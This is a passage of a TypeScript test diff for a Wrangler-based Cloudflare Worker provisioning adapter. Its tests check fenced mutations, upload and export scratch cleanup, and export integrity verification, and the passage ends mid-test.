+    const runner = new FakeRunner(async (arguments_) => {
+      const configPath = arguments_[
+        arguments_.indexOf('--config') + 1
+      ] as string;
+      const secretsPath = arguments_[
+        arguments_.indexOf('--secrets-file') + 1
+      ] as string;
+      config = JSON.parse(await readFile(configPath, 'utf8'));
+      secretMode = (await stat(secretsPath)).mode & 0o777;
+      expect(arguments_).toEqual([
+        ...(mode === 'initial' ? ['deploy'] : ['versions', 'upload']),
+        '--config',
+        configPath,
+        '--secrets-file',
+        secretsPath,
+        '--tag',
+        'candidate-tag',
+      ]);
+      return { stdout: '', stderr: '' };
+    });
+    const outcome = await (await api(runner)).uploadCandidate(
+      { ...uploadIntent(mode), limits },
+      mutationFence(),
+    );
+    expect(outcome).toEqual({
+      status: 'succeeded',
+      cleanup: { status: 'succeeded' },
+    });
+    expect(secretMode).toBe(0o600);
+    expect(config).toEqual({
+      name: 'worker-name',
+      main: 'worker.js',
+      workers_dev: true,
+      preview_urls: false,
+      compatibility_date: '2026-08-10',
+      vars: { TEXT: 'value' },
+      d1_databases: [
+        { binding: 'DB', database_name: 'db-name', database_id: 'db-id' },
+      ],
+      durable_objects: {
+        bindings: [{ name: 'OBJECT', class_name: 'ObjectClass' }],
+      },
+      ...(mode === 'initial'
+        ? {
+            migrations: [
+              {
+                tag: 'v1',
+                new_sqlite_classes: ['ObjectClass'],
+                new_classes: [],
+                deleted_classes: [],
+                renamed_classes: [],
+              },
+            ],
+          }
+        : {}),
+      r2_buckets: [{ binding: 'BUCKET', bucket_name: 'bucket-name' }],
+      ...(wireLimits === undefined ? {} : { limits: wireLimits }),
+    });
+    await expectUploadScratchRemoved();
+  });
+
+  it('asserts immediately before every Wrangler mutation dispatch', async () => {
+    const events: string[] = [];
+    const runner = new FakeRunner(async (arguments_) => {
+      events.push(`run:${arguments_[0]}`);
+      if (arguments_[0] === 'd1' && arguments_[1] === 'export') {
+        await writeFile(
+          arguments_[arguments_.indexOf('--output') + 1] as string,
+          'select 1;',
+        );
+      }
+      return { stdout: '', stderr: '' };
+    });
+    const subject = await api(runner);
+    const owned = mutationFence(
+      vi.fn(async () => {
+        events.push('assert');
+      }),
+    );
+    const calls = [
+      ['d1', () => subject.createDatabase('db', owned)],
+      [
+        'versions',
+        () =>
+          subject.createDeployment(
+            'worker',
+            [{ versionId: 'v1', percentage: 100 }],
+            owned,
+          ),
+      ],
+      ['delete', () => subject.deleteWorkerScript('worker', owned)],
+      [
+        'versions',
+        () => subject.uploadCandidate(uploadIntent('staged'), owned),
+      ],
+      ['d1', () => subject.exportDatabase({ id: 'db', name: 'name' }, owned)],
+    ] as const;
+    for (const [command, call] of calls) {
+      events.length = 0;
+      await call();
+      expect(events).toEqual(['assert', `run:${command}`]);
+    }
+  });
+
+  it.each([
+    'createDatabase',
+    'createDeployment',
+    'deleteWorkerScript',
+    'uploadCandidate',
+    'exportDatabase',
+  ] as const)('rejects a not-found-shaped fence failure before %s dispatch', async (method) => {
+    const runner = new FakeRunner();
+    const subject = await api(runner);
+    const denied = new Error('lease not found');
+    const deniedFence = mutationFence(
+      vi.fn(async () => {
+        throw denied;
+      }),
+    );
+    const operation = {
+      createDatabase: () => subject.createDatabase('db', deniedFence),
+      createDeployment: () =>
+        subject.createDeployment('worker', [], deniedFence),
+      deleteWorkerScript: () =>
+        subject.deleteWorkerScript('worker', deniedFence),
+      uploadCandidate: () =>
+        subject.uploadCandidate(uploadIntent('staged'), deniedFence),
+      exportDatabase: () =>
+        subject.exportDatabase({ id: 'db', name: 'db' }, deniedFence),
+    }[method];
+    await expect(operation()).rejects.toBe(denied);
+    expect(runner.calls).toEqual([]);
+    expect(deniedFence.assertOwned).toHaveBeenCalledTimes(1);
+    if (method === 'uploadCandidate') await expectUploadScratchRemoved();
+  });
+
+  it('retains a pre-dispatch upload denial when scratch cleanup also fails', async () => {
+    fsControl.failFleetCleanup = true;
+    const cleanupError = fsControl.cleanupError;
+    const denied = new Error('lease lost before upload dispatch');
+    const runner = new FakeRunner();
+    const subject = await api(runner);
+    const rejection = await subject
+      .uploadCandidate(
+        uploadIntent('staged'),
+        mutationFence(
+          vi.fn(async () => {
+            throw denied;
+          }),
+        ),
+      )
+      .then(
+        () => new Error('expected upload to reject'),
+        (error: unknown) => error,
+      );
+    expect(rejection).toBeInstanceOf(AggregateError);
+    const aggregate = rejection as AggregateError;
+    expect(aggregate.message).toBe(
+      'Worker upload preparation and adapter scratch cleanup both failed',
+    );
+    expect(aggregate.errors).toHaveLength(2);
+    expect(aggregate.errors[0]).toBe(denied);
+    expect(aggregate.errors[1]).toBe(cleanupError);
+    expect(runner.calls).toEqual([]);
+  });
+
+  it('classifies undefined upload rejection values by dispatch state', async () => {
+    fsControl.failOperation = 'writeFile';
+    fsControl.operationError = undefined;
+    const preparationRunner = new FakeRunner();
+    const preparation = await api(preparationRunner);
+    await expect(
+      preparation.uploadCandidate(uploadIntent('staged'), mutationFence()),
+    ).rejects.toBeUndefined();
+    expect(preparationRunner.calls).toEqual([]);
+    await expectUploadScratchRemoved();
+
+    fsControl.failOperation = undefined;
+    scratchDirectories().length = 0;
+    const preDispatchRunner = new FakeRunner();
+    const preDispatch = await api(preDispatchRunner);
+    await expect(
+      preDispatch.uploadCandidate(
+        uploadIntent('staged'),
+        mutationFence(vi.fn(() => Promise.reject(undefined))),
+      ),
+    ).rejects.toBeUndefined();
+    expect(preDispatchRunner.calls).toEqual([]);
+    await expectUploadScratchRemoved();
+
+    scratchDirectories().length = 0;
+    const dispatched = await api(
+      new FakeRunner(() => Promise.reject(undefined)),
+    );
+    await expect(
+      dispatched.uploadCandidate(uploadIntent('staged'), mutationFence()),
+    ).resolves.toEqual({
+      status: 'failed',
+      error: undefined,
+      cleanup: { status: 'succeeded' },
+    });
+    await expectUploadScratchRemoved();
+
+    scratchDirectories().length = 0;
+    fsControl.failFleetCleanup = true;
+    fsControl.cleanupError = undefined;
+    const cleanup = await api(succeedingRunner());
+    await expect(
+      cleanup.uploadCandidate(uploadIntent('staged'), mutationFence()),
+    ).resolves.toEqual({
+      status: 'succeeded',
+      cleanup: { status: 'failed', error: undefined },
+    });
+    expect(fsControl.residualDirectory).toBeDefined();
+  });
+
+  it('requires both exact-ID route methods and has no unfenced delete member', async () => {
+    let runInsideCalls = 0;
+    // vi.fn erases this generic, so keep the hand-rolled fenced scope.
+    async function runInside<T>(
+      fence: ExternalMutationFence,
+      operation: () => Promise<T>,
+    ): Promise<T> {
+      runInsideCalls += 1;
+      await fence.assertOwned();
+      return operation();
+    }
+    const deleteDatabase = vi.fn(async () => {});
+    const subject = await api(new FakeRunner(), {
+      routeApi: routeApi({
+        withMutationFence: runInside,
+        getDatabase: async () => undefined,
+        deleteDatabase,
+      }),
+    });
+    expect('deleteDatabase' in subject).toBe(false);
+    await subject.deleteDatabaseFenced('db', mutationFence());
+    expect(runInsideCalls).toBe(1);
+    expect(deleteDatabase).toHaveBeenCalledWith('db');
+    const unsupported = await api(new FakeRunner());
+    await expect(
+      unsupported.deleteDatabaseFenced('db', mutationFence()),
+    ).rejects.toThrow(
+      'Wrangler plain Worker adapter requires immutable-ID D1 route methods',
+    );
+  });
+
+  it('returns delete outcomes and rethrows non-absence failures', async () => {
+    const deleted = await api(succeedingRunner());
+    await expect(
+      deleted.deleteWorkerScript('worker', mutationFence()),
+    ).resolves.toBe('deleted');
+    const absent = await api(
+      new FakeRunner(async () => {
+        throw new Error('script not found');
+      }),
+    );
+    await expect(
+      absent.deleteWorkerScript('worker', mutationFence()),
+    ).resolves.toBe('absent');
+    const denied = new Error('denied');
+    const failed = await api(
+      new FakeRunner(async () => {
+        throw denied;
+      }),
+    );
+    await expect(
+      failed.deleteWorkerScript('worker', mutationFence()),
+    ).rejects.toBe(denied);
+  });
+
+  it('reports upload preparation, dispatch, and cleanup failures separately', async () => {
+    const prepRunner = new FakeRunner();
+    const prep = await api(prepRunner);
+    await expect(
+      prep.uploadCandidate(
+        {
+          ...uploadIntent('staged'),
+          modules: [{ name: '../escape.js', content: '' }],
+        },
+        mutationFence(),
+      ),
+    ).rejects.toThrow('escapes the staging directory');
+    expect(prepRunner.calls).toEqual([]);
+    await expectUploadScratchRemoved();
+
+    scratchDirectories().length = 0;
+    const dispatchError = new Error('dispatch failed');
+    const dispatch = await api(
+      new FakeRunner(async () => {
+        throw dispatchError;
+      }),
+    );
+    await expect(
+      dispatch.uploadCandidate(uploadIntent('staged'), mutationFence()),
+    ).resolves.toEqual({
+      status: 'failed',
+      error: dispatchError,
+      cleanup: { status: 'succeeded' },
+    });
+    await expectUploadScratchRemoved();
+
+    scratchDirectories().length = 0;
+    fsControl.failFleetCleanup = true;
+    const cleanup = await api(succeedingRunner());
+    await expect(
+      cleanup.uploadCandidate(uploadIntent('staged'), mutationFence()),
+    ).resolves.toEqual({
+      status: 'succeeded',
+      cleanup: { status: 'failed', error: fsControl.cleanupError },
+    });
+    expect(fsControl.residualDirectory).toBeDefined();
+  });
+
+  it('retains dispatch and cleanup errors together', async () => {
+    fsControl.failFleetCleanup = true;
+    const dispatchError = new Error('dispatch failed');
+    const subject = await api(
+      new FakeRunner(async () => {
+        throw dispatchError;
+      }),
+    );
+    await expect(
+      subject.uploadCandidate(uploadIntent('staged'), mutationFence()),
+    ).resolves.toEqual({
+      status: 'failed',
+      error: dispatchError,
+      cleanup: { status: 'failed', error: fsControl.cleanupError },
+    });
+  });
+
+  it('delegates optional R2 capabilities only when present', async () => {
+    const listWorkerR2Attachments = vi.fn(async () => []);
+    const getR2Bucket = vi.fn(async () => undefined);
+    const createR2Bucket = vi.fn(async () => {});
+    const assertR2BucketEmpty = vi.fn(async () => {});
+    const deleteR2Bucket = vi.fn(async () => {});
+    const present = await api(new FakeRunner(), {
+      routeApi: routeApi({
+        listWorkerR2Attachments,
+        getR2Bucket,
+        createR2Bucket,
+        assertR2BucketEmpty,
+        deleteR2Bucket,
+      }),
+    });
+    const resource = {
+      name: 'BUCKET',
+      bucketName: 'bucket',
+      jurisdiction: 'default',
+    } as const;
+    const owned = mutationFence();
+    await present.listWorkerR2Attachments?.('bucket');
+    await present.getR2Bucket?.('bucket', 'default');
+    await present.createR2Bucket?.(resource, owned);
+    await present.assertR2BucketEmpty?.(resource);
+    await present.deleteR2Bucket?.(resource, owned);
+    expect(listWorkerR2Attachments).toHaveBeenCalledWith('bucket');
+    expect(getR2Bucket).toHaveBeenCalledWith('bucket', 'default');
+    expect(createR2Bucket).toHaveBeenCalledWith(resource, owned);
+    expect(assertR2BucketEmpty).toHaveBeenCalledWith(resource);
+    expect(deleteR2Bucket).toHaveBeenCalledWith(resource, owned);
+    const absent = await api(new FakeRunner());
+    expect(absent.getR2Bucket).toBeUndefined();
+    expect(absent.listWorkerR2Attachments).toBeUndefined();
+    expect(absent.createR2Bucket).toBeUndefined();
+    expect(absent.assertR2BucketEmpty).toBeUndefined();
+    expect(absent.deleteR2Bucket).toBeUndefined();
+  });
+});
+
+describe('WranglerPlainWorkerProvisioningApi exports', () => {
+  it('exports one canonical receipt by immutable database identity and cleans scratch', async () => {
+    const bytes = 'canonical Wrangler receipt';
+    const sha256 = createHash('sha256').update(bytes).digest('hex');
+    let outputPath = '';
+    const runner = new FakeRunner(async (arguments_) => {
+      outputPath = arguments_[arguments_.indexOf('--output') + 1] as string;
+      expect(arguments_.slice(0, 3)).toEqual([
+        'd1',
+        'export',
+        RECEIPT_IDENTITY.databaseId,
+      ]);
+      await writeFile(outputPath, bytes);
+      return { stdout: '', stderr: '' };
+    });
+    let authorityReads = 0;
+    let methodReads = 0;
+    let receiver: unknown;
+    let expectedPromise: Promise<unknown> | undefined;
+    const store: DurableDatabaseExportStore = {
+      async write() {
+        throw new Error('legacy export must not run');
+      },
+    };
+    Object.defineProperties(store, {
+      receiptAuthority: {
+        configurable: true,
+        get() {
+          authorityReads += 1;
+          return RECEIPT_AUTHORITY;
+        },
+      },
+      writeReceipt: {
+        configurable: true,
+        get() {
+          methodReads += 1;
+          return async function (
+            this: unknown,
+            input: Parameters<
+              NonNullable<DurableDatabaseExportStore['writeReceipt']>
+            >[0],
+          ) {
+            receiver = this;
+            expect(input.identity).toEqual(RECEIPT_IDENTITY);
+            expect(input.contentLength).toBe(Buffer.byteLength(bytes));
+            expectedPromise = input.expectedIntegrity;
+            const body = await drain(input.body);
+            await expect(input.expectedIntegrity).resolves.toEqual({
+              size: Buffer.byteLength(bytes),
+              sha256,
+            });
+            return {
+              location: 'memory://receipt',
+              size: body.size,
+              sha256: body.sha256,
+            };
+          };
+        },
+      },
+    });
+    const subject = await api(runner, { exportStore: store });
+    const exportReceipt = subject.exportDatabaseReceipt;
+    if (!exportReceipt) throw new Error('expected receipt export capability');
+    const clock = vi.spyOn(Date, 'now').mockImplementation(() => {
+      throw new Error('receipt export must not consult the clock');
+    });
+    const successfulFence = mutationFence();
+    try {
+      await expect(
+        exportReceipt(RECEIPT_IDENTITY, successfulFence),
+      ).resolves.toEqual({
+        location: 'memory://receipt',
+        size: Buffer.byteLength(bytes),
+        sha256,
+      });
+    } finally {
+      clock.mockRestore();
+    }
+    expect([authorityReads, methodReads]).toEqual([1, 1]);
+    expect(receiver).toBe(store);
+    expect(expectedPromise).toBeInstanceOf(Promise);
+    expect(successfulFence.assertOwned).toHaveBeenCalledTimes(1);
+    await expectExportScratchRemoved(outputPath);
+
+    runner.calls.length = 0;
+    const authorityFailure = await Promise.resolve()
+      .then(() =>
+        exportReceipt(
+          { ...RECEIPT_IDENTITY, authority: 'file:///other/receipts/v1' },
+          mutationFence(),
+        ),
+      )
+      .catch((error: unknown) => error);
+    expect(authorityFailure).toBeInstanceOf(Error);
+    expect((authorityFailure as Error).message).toBe(
+      'database export receipt authority differs from configured authority',
+    );
+    expect((authorityFailure as Error).cause).toBeUndefined();
+    expect(runner.calls).toEqual([]);
+
+    const absent = await api(new FakeRunner());
+    expect('databaseExportReceiptAuthority' in absent).toBe(false);
+    expect('exportDatabaseReceipt' in absent).toBe(false);
+    const malformedCapability = await api(new FakeRunner(), {
+      exportStore: {
+        receiptAuthority: RECEIPT_AUTHORITY,
+        async write() {
+          throw new Error('legacy export must not run');
+        },
+      },
+    }).catch((error: unknown) => error);
+    expect(malformedCapability).toBeInstanceOf(Error);
+    expect((malformedCapability as Error).message).toBe(
+      'database export receipt capability is malformed',
+    );
+    expect((malformedCapability as Error).cause).toBeUndefined();
+
+    for (const property of ['receiptAuthority', 'writeReceipt'] as const) {
+      const throwingStore: DurableDatabaseExportStore = {
+        async write() {
+          throw new Error('legacy export must not run');
+        },
+      };
+      if (property === 'writeReceipt') {
+        Object.defineProperty(throwingStore, 'receiptAuthority', {
+          configurable: true,
+          value: RECEIPT_AUTHORITY,
+        });
+      }
+      Object.defineProperty(throwingStore, property, {
+        configurable: true,
+        get() {
+          throw new Error(`${property} getter must not escape`);
+        },
+      });
+      const getterFailure = await api(new FakeRunner(), {
+        exportStore: throwingStore,
+      }).catch((error: unknown) => error);
+      expect(getterFailure).toBeInstanceOf(Error);
+      expect((getterFailure as Error).message).toBe(
+        'database export receipt capability is malformed',
+      );
+      expect((getterFailure as Error).cause).toBeUndefined();
+    }
+
+    const verifyFailureSettlement = async (
+      primary: unknown,
+      cleanupFails: boolean,
+    ) => {
+      const exportDirectory = await mkdtemp(
+        join(tmpdir(), 'anchorage-fleet-receipt-'),
+      );
+      exportDirectories.add(exportDirectory);
+      const failingRunner = new FakeRunner(async (arguments_) => {
+        const location = arguments_[arguments_.indexOf('--output') + 1];
+        if (!location) throw new Error('missing output path');
+        await writeFile(location, bytes);
+        return { stdout: '', stderr: '' };
+      });
+      const failingStore: DurableDatabaseExportStore = {
+        receiptAuthority: RECEIPT_AUTHORITY,
+        async write() {
+          throw new Error('legacy export must not run');
+        },
+        async writeReceipt() {
+          throw primary;
+        },
+      };
+      const failing = await api(failingRunner, {
+        exportDirectory,
+        exportStore: failingStore,
+      });
+      const failingExportReceipt = failing.exportDatabaseReceipt;
+      if (!failingExportReceipt) {
+        throw new Error('expected failing receipt export capability');
+      }
+      fsControl.failFleetCleanup = cleanupFails;
+      const [state] = await Promise.allSettled([
+        failingExportReceipt(RECEIPT_IDENTITY, mutationFence()),
+      ]);
+      expect(state?.status).toBe('rejected');
+      if (state?.status !== 'rejected') {
+        throw new Error('expected receipt export to reject');
+      }
+      if (cleanupFails) {
+        expect(state.reason).toBeInstanceOf(AggregateError);
+        expect((state.reason as AggregateError).message).toBe(
+          'database export receipt and Wrangler scratch cleanup failed',
+        );
+        expect((state.reason as AggregateError).errors).toEqual([
+          primary,
+          fsControl.cleanupError,
+        ]);
+        fsControl.failFleetCleanup = false;
+        const residual = fsControl.residualDirectory;
+        if (residual) {
+          const actual =
+            await vi.importActual<typeof import('node:fs/promises')>(
+              'node:fs/promises',
+            );
+          await actual.rm(residual, { recursive: true, force: true });
+          fsControl.residualDirectory = undefined;
+        }
+      } else {
+        expect(state.reason).toBe(primary);
+      }
+    };
+    for (const primary of [new Error('primary'), undefined, null]) {
+      await verifyFailureSettlement(primary, false);
+      await verifyFailureSettlement(primary, true);
+    }
+
+    fsControl.failFleetCleanup = true;
+    const cleanupOnlyDirectory = await mkdtemp(
+      join(tmpdir(), 'anchorage-fleet-receipt-'),
+    );
+    exportDirectories.add(cleanupOnlyDirectory);
+    const cleanupOnlySubject = await api(runner, {
+      exportDirectory: cleanupOnlyDirectory,
+      exportStore: store,
+    });
+    const cleanupOnlyExportReceipt = cleanupOnlySubject.exportDatabaseReceipt;
+    if (!cleanupOnlyExportReceipt) {
+      throw new Error('expected cleanup-only receipt export capability');
+    }
+    const cleanupOnlyFence = mutationFence();
+    const cleanupOnlyFailure = await cleanupOnlyExportReceipt(
+      RECEIPT_IDENTITY,
+      cleanupOnlyFence,
+    ).catch((error: unknown) => error);
+    expect(cleanupOnlyFailure).toBe(fsControl.cleanupError);
+    expect(cleanupOnlyFence.assertOwned).toHaveBeenCalledTimes(1);
+    fsControl.failFleetCleanup = false;
+    const cleanupResidual = fsControl.residualDirectory;
+    if (cleanupResidual) {
+      const actual =
+        await vi.importActual<typeof import('node:fs/promises')>(
+          'node:fs/promises',
+        );
+      await actual.rm(cleanupResidual, { recursive: true, force: true });
+      fsControl.residualDirectory = undefined;
+    }
+
+    const dishonestStore: DurableDatabaseExportStore = {
+      receiptAuthority: RECEIPT_AUTHORITY,
+      async write() {
+        throw new Error('legacy export must not run');
+      },
+      async writeReceipt(input) {
+        const body = await drain(input.body);
+        await input.expectedIntegrity;
+        return {
+          location: 'memory://dishonest-receipt',
+          size: body.size + 1,
+          sha256: body.sha256,
+        };
+      },
+    };
+    const dishonest = await api(runner, { exportStore: dishonestStore });
+    const dishonestExportReceipt = dishonest.exportDatabaseReceipt;
+    if (!dishonestExportReceipt) {
+      throw new Error('expected dishonest receipt export capability');
+    }
+    const dishonestFence = mutationFence();
+    await expect(
+      dishonestExportReceipt(RECEIPT_IDENTITY, dishonestFence),
+    ).rejects.toThrow(
+      'durable database export store returned mismatched committed integrity',
+    );
+    expect(dishonestFence.assertOwned).toHaveBeenCalledTimes(1);
+    await expectExportScratchRemoved(outputPath);
+  });
+
+  it('removes export scratch when the fence denies dispatch', async () => {
+    const exportDirectory = await mkdtemp(join(tmpdir(), 'adapter-export-'));
+    exportDirectories.add(exportDirectory);
+    const denied = new Error('lease lost before export dispatch');
+    const runner = new FakeRunner();
+    const subject = await api(runner, { exportDirectory });
+    await expect(
+      subject.exportDatabase(
+        { id: 'db', name: 'name' },
+        mutationFence(
+          vi.fn(async () => {
+            throw denied;
+          }),
+        ),
+      ),
+    ).rejects.toBe(denied);
+    const actual =
+      await vi.importActual<typeof import('node:fs/promises')>(
+        'node:fs/promises',
+      );
+    await expect(actual.readdir(exportDirectory)).resolves.toEqual([]);
+    expect(runner.calls).toEqual([]);
+  });
+
+  async function exportSubject(
+    options: {
+      readonly bytes?: string;
+      readonly store?: DurableDatabaseExportStore;
+      readonly output?: 'file' | 'empty' | 'directory';
+    } = {},
+  ) {
+    let outputPath = '';
+    const runner = new FakeRunner(async (arguments_) => {
+      outputPath = arguments_[arguments_.indexOf('--output') + 1] as string;
+      if (options.output === 'directory') {
+        const fs =
+          await vi.importActual<typeof import('node:fs/promises')>(
+            'node:fs/promises',
+          );
+        await fs.mkdir(outputPath);
+      } else {
+        await writeFile(
+          outputPath,
+          options.output === 'empty' ? '' : (options.bytes ?? 'select 1;'),
+        );
+      }
+      return { stdout: '', stderr: '' };
+    });
+    return {
+      subject: await api(runner, { exportStore: options.store }),
+      output: () => outputPath,
+    };
+  }
+
+  it('rejects a store that reads only one prefix byte', async () => {
+    const store: DurableDatabaseExportStore = {
+      async write(input) {
+        const reader = input.body.getReader();
+        const first = await reader.read();
+        const bytes = first.done ? new Uint8Array() : first.value.slice(0, 1);
+        return {
+          location: 'memory://prefix',
+          size: bytes.byteLength,
+          sha256: createHash('sha256').update(bytes).digest('hex'),
+        };
+      },
+    };
+    const { subject, output } = await exportSubject({
+      bytes: 'complete export',
+      store,
+    });
+    await expect(
+      subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()),
+    ).rejects.toThrow(
+      'durable database export store returned mismatched committed integrity',
+    );
+    await expectExportScratchRemoved(output());
+  });
+
+  it('rejects a store that never reads the body and claims the empty digest', async () => {
+    const store: DurableDatabaseExportStore = {
+      async write(input) {
+        await input.body.cancel();
+        return {
+          location: 'memory://empty',
+          size: 0,
+          sha256: createHash('sha256').digest('hex'),
+        };
+      },
+    };
+    const { subject, output } = await exportSubject({
+      bytes: 'complete export',
+      store,
+    });
+    await expect(
+      subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()),
+    ).rejects.toThrow(
+      'durable database export store returned mismatched committed integrity',
+    );
+    await expectExportScratchRemoved(output());
+  });
+
+  it('rejects a multi-chunk export store that commits only the first chunk', async () => {
+    const store: DurableDatabaseExportStore = {
+      async write(input) {
+        const reader = input.body.getReader();
+        const first = await reader.read();
+        if (first.done) throw new Error('expected a first export chunk');
+        await reader.cancel();
+        return {
+          location: 'memory://first-chunk',
+          size: first.value.byteLength,
+          sha256: createHash('sha256').update(first.value).digest('hex'),
+        };
+      },
+    };
+    const { subject, output } = await exportSubject({
+      bytes: 'x'.repeat(128 * 1024 + 1),
+      store,
+    });
+    await expect(
+      subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()),
+    ).rejects.toThrow(
+      'durable database export store returned mismatched committed integrity',
+    );
+    await expectExportScratchRemoved(output());
+  });
+
+  it.each([
+    'empty',
+    'directory',
+  ] as const)('refuses %s export output and removes scratch', async (outputKind) => {
+    const { subject, output } = await exportSubject({ output: outputKind });
+    await expect(
+      subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()),
+    ).rejects.toThrow('Wrangler database export is not a non-empty file');
+    await expectExportScratchRemoved(output());
+  });
+
+  it.each([
+    'chmod',
+    'stat',
+  ] as const)('propagates %s failure and removes export scratch', async (operation) => {
+    fsControl.failOperation = operation;
+    const failure = new Error(`${operation} failed`);
+    fsControl.operationError = failure;
+    const { subject, output } = await exportSubject();
+    await expect(
+      subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()),
+    ).rejects.toBe(failure);
+    await expectExportScratchRemoved(output());
+  });
+
+  it('propagates runner failure and removes export scratch', async () => {
+    const failure = new Error('export dispatch failed');
+    let outputPath = '';
+    const runner = new FakeRunner(async (arguments_) => {
+      outputPath = arguments_[arguments_.indexOf('--output') + 1] as string;
+      throw failure;
+    });
+    const subject = await api(runner);
+    await expect(
+      subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()),
+    ).rejects.toBe(failure);
+    await expectExportScratchRemoved(outputPath);
+  });
+
+  it('propagates store failures and removes scratch', async () => {
+    const storeError = new Error('store failed');
+    const { subject, output } = await exportSubject({
+      store: {
+        async write() {
+          throw storeError;
+        },
+      },
+    });
+    await expect(
+      subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()),
+    ).rejects.toBe(storeError);
+    await expectExportScratchRemoved(output());
+  });
+
+  it.each(
+    ['legacy', 'receipt'].flatMap((method) =>
+      ['sync', 'async', 'integrity'].flatMap((failure) =>
+        [false, true].map((locked) => ({ method, failure, locked })),
+      ),
+    ),
+  )('closes $method source after $failure refusal with locked=$locked', async ({
+    method,
+    failure,
+    locked,
+  }) => {
+    const primary = new Error('supplied store refused');
+    const sources: Readable[] = [];
+    let reader: ReadableStreamDefaultReader<Uint8Array> | undefined;
+    const toWeb = Readable.toWeb;
+    const observe = vi
+      .spyOn(Readable, 'toWeb')
+      .mockImplementation((source, options) => {
+        sources.push(source);
+        return toWeb(source, options);
+      });
+    const write = (input: { readonly body: ReadableStream<Uint8Array> }) => {
+      if (locked) {
+        reader = input.body.getReader();
+        void reader.closed.catch(() => undefined);
+      }
+      if (failure === 'sync') throw primary;
+      if (failure === 'async') return Promise.reject(primary);
+      return Promise.resolve({
+        location: 'memory://invalid',
+        size: 0,
+        sha256: '0'.repeat(64),
+      });
+    };
+    try {
+      const { subject, output } = await exportSubject({
+        bytes: 'x'.repeat(1024 * 1024),
+        store: {
+          write,
+          receiptAuthority: RECEIPT_AUTHORITY,
+          writeReceipt: write,
+        },
+      });
+      const exportReceipt = subject.exportDatabaseReceipt;
+      if (!exportReceipt) throw new Error('expected receipt export capability');
+      const result =
+        method === 'legacy'
+          ? subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence())
+          : exportReceipt(RECEIPT_IDENTITY, mutationFence());
+      if (failure === 'integrity') {
+        await expect(result).rejects.toThrow('mismatched committed integrity');
+      } else {
+        await expect(result).rejects.toBe(primary);
+      }
+      expect(sources).toHaveLength(1);
+      expect(sources[0]?.destroyed).toBe(true);
+      expect(sources[0]?.closed).toBe(true);
+      await expectExportScratchRemoved(output());
+    } finally {
+      reader?.releaseLock();
+      for (const source of sources) source.destroy();
+      observe.mockRestore();
+    }
+  });
+
+  it('returns the independent digest, size, location, and secure file mode', async () => {
+    const bytes = 'fixture export bytes';
+    let mode: number | undefined;
+    let outputPath = '';
+    const runner = new FakeRunner(async (arguments_) => {
+      outputPath = arguments_[arguments_.indexOf('--output') + 1] as string;
+      await writeFile(outputPath, bytes);
+      return { stdout: '', stderr: '' };
+    });
+    const store: DurableDatabaseExportStore = {
+      async write(input) {
+        mode = (await stat(outputPath)).mode & 0o777;
+        const body = await drain(input.body);
+        return {
+          location: 'memory://complete',
+          size: body.size,
+          sha256: body.sha256,
+        };
+      },
+    };
+    const subject = await api(runner, { exportStore: store });
+    await expect(
+      subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()),
+    ).resolves.toEqual({
+      location: 'memory://complete',
+      size: Buffer.byteLength(bytes),
+      sha256: createHash('sha256').update(bytes).digest('hex'),
+    });
+    expect(mode).toBe(0o600);
+    await expectExportScratchRemoved(outputPath);
+  });
+
+  it('conditionally forwards a bounded decommission scanner with exact identity', async () => {
+    const absent = await api(new FakeRunner());
+    expect(absent.advanceDecommissionAttachmentScan).toBeUndefined();
+    expect('advanceDecommissionAttachmentScan' in absent).toBe(false);
+    expect(Object.hasOwn(absent, 'advanceDecommissionAttachmentScan')).toBe(
+      false,
+    );
+
+    const input: DecommissionAttachmentScanInput = {
+      progress: initialWorkerAttachmentScan({ kind: 'd1', databaseId: 'db' }),
+      maxProviderRequests: 12,
+    };
+    const result: DecommissionAttachmentScanResult = { status: 'drift' };
+    const calls: Array<readonly [unknown, DecommissionAttachmentScanInput]> =
+      [];
+    const capableRouteApi = routeApi();
+    let capabilityReads = 0;
+    Object.defineProperty(
+      capableRouteApi,
+      'advanceDecommissionAttachmentScan',
+      {
+        configurable: true,
+        get() {
+          capabilityReads += 1;
+          return function (
+            this: unknown,
+            actual: DecommissionAttachmentScanInput,
+          ) {
+            calls.push([this, actual]);
+            return Promise.resolve(result);
+          };
+        },
+      },
+    );
+    const capable = await api(new FakeRunner(), {
+      routeApi: capableRouteApi,
+    });
+    expect(typeof capable.advanceDecommissionAttachmentScan).toBe('function');
+    expect('advanceDecommissionAttachmentScan' in capable).toBe(true);
+    expect(Object.hasOwn(capable, 'advanceDecommissionAttachmentScan')).toBe(
+      true,
+    );
+    await expect(
+      capable.advanceDecommissionAttachmentScan?.(input),
+    ).resolves.toBe(result);
+    expect(calls).toEqual([[capableRouteApi, input]]);
+    expect(capabilityReads).toBe(1);
+  });
+
+  it('refuses an empty durable location', async () => {
+    const store: DurableDatabaseExportStore = {
+      async write(input) {
+        const body = await drain(input.body);
+        return {
+          location: '',
+          size: body.size,
+          sha256: body.sha256,
+        };
+      },
+    };
+    const { subject, output } = await exportSubject({ store });
+    await expect(
+      subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()),
+    ).rejects.toThrow(
+      'durable database export store returned mismatched committed integrity',
+    );
+    await expectExportScratchRemoved(output());
+  });
+
+  it('refuses an export whose bytes change between the size read and the hash', async () => {
+    const exportDirectory = await mkdtemp(
+      join(tmpdir(), 'anchorage-fleet-receipt-'),
+    );
+    exportDirectories.add(exportDirectory);
+    let outputPath = '';
+    const runner = new FakeRunner(async (arguments_) => {
+      outputPath = arguments_[arguments_.indexOf('--output') + 1] as string;
+      await writeFile(outputPath, 'select 1;');
+      return { stdout: '', stderr: '' };
+    });
+    const store: DurableDatabaseExportStore = {
+      receiptAuthority: RECEIPT_AUTHORITY,
+      async write() {
+        throw new Error('legacy export must not run');
+      },
+      async writeReceipt() {
+        throw new Error('a changed export must not reach the receipt store');
+      },
+    };
+    const subject = await api(runner, { exportDirectory, exportStore: store });
+    const exportReceipt = subject.exportDatabaseReceipt;
+    if (!exportReceipt) {
+      throw new Error('expected receipt export capability');
+    }
+    const actual =
+      await vi.importActual<typeof import('node:fs/promises')>(
+        'node:fs/promises',
+      );
